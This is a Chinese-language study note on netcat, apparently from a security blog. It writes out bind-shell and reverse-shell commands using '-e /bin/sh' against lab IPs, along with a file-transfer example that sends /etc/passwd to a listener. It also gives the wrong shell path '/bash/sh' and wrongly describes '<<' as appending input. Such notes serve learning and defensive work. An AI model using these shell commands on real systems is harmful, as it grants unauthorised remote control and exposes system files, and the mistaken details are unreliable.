NC工具—文件传输&shell获取功能
前言:此文主要对NC(NETCAT)工具的文件传输和SHELL获取功能进行学习记录,不对工具简介和基本功能进行赘述,可参考我的另一篇文章Web安全工具—nc(瑞士军刀)持续更新
一: 基础知识:
1,文件传输基础知识:
linux下的输入重定向"<“和输出重定向”>"介绍
输入重定向:
举例:cat < /etc/passwd
: 将passwd文件的作为输入重定向给cat命令,其效果相当于cat /etc/passwd
输出重定向:
举例:ll /etc/passwd > websec.txt
:将ll查看的文件信息重定向到文件websec.txt中
2,shell获取基础支持
正向shell:客户端主动去连接服务端,控制端主动去连接被控制端(通常适用于被控制端存在可以连接的端口)
反向shell:服务端主动连接客户端,被控制端主动连接控制端(通常适用于,服务端的服务端口存在限制,客户端不能直接连接,但是服务端发起连接未作限制的场景)
windows下shell文件路径:/windows/system32/cmd.exe
linux下shell文件路径:/bash/sh
-e参数:程序重定向
二:shell获取
正向shell获取:
服务端监听555端口:nc -lv -p 555 -e /bin/sh
客户端连接服务端的555端口:nc -nv 192.168.1.4 555
反向shell获取:和正向shell相反,客户端建立监听端口,服务端进行连接
客户端端监听666端口:nc -lv -p 666
服务端连接服务端的666端口:nc -nv 192.168.1.123 666 -e /bin/sh
总结:不管是正向shell还是反向shell,其目的都是客户端控制服务端达到目的,相比正向shell,反向shell的稳定性和利用程度更高。
三:文件传输
原理:nc工具的文件传输原理其实是linux下的输入和输出重定向利用,服务端将监听到的数据输出重定向到文件中,客户端将文件通过输入重定向发送给服务端
举例:
服务端监听333端口,然后将连接到333端口的数据重定向至文件websec中:nc -lv -p 333 > websec
客户端将/etc/passwd文件输出重定向给连接服务端
**总结:**不管是客户端传送文件给服务端,还是服务端传送文件给客户端,其利用的原理都是linux下的输出和输入重定向,但是需要了解的是这里的输入和输出重定向都是覆盖性的,如果需要增量添加则需要选择">>“和”<<"。